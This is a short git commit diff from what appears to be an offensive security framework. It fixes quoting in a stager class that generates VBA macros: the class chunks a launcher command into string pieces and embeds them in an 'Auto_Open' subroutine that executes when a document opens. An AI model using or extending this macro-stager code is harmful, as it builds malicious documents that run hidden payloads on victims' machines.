Fixed Macro syntax error per@utkusen #664

websockets-multiuser
rvrsh3ll 2017-08-30 21:28:34 -04:00
parent 463cfbd784
commit c8334b9a66
1 changed files with 2 additions and 2 deletions

View File

@ -106,9 +106,9 @@ class Stager:
else: else:
chunks = list(helpers.chunks(launcher.replace("'", "\\'"), 50)) chunks = list(helpers.chunks(launcher.replace("'", "\\'"), 50))
payload = "\tDim "+Str+" As String\n" payload = "\tDim "+Str+" As String\n"
payload += "\t"+Str+" = '" + str(chunks[0]) + "'\n" payload += "\t"+Str+" = \"" + str(chunks[0]) + "\"\n"
for chunk in chunks[1:]: for chunk in chunks[1:]:
payload += "\t"+Str+" = "+Str+" + '" + str(chunk) + "'\n" payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n"
macro = "Sub Auto_Open()\n" macro = "Sub Auto_Open()\n"
macro += "\t"+Method+"\n" macro += "\t"+Method+"\n"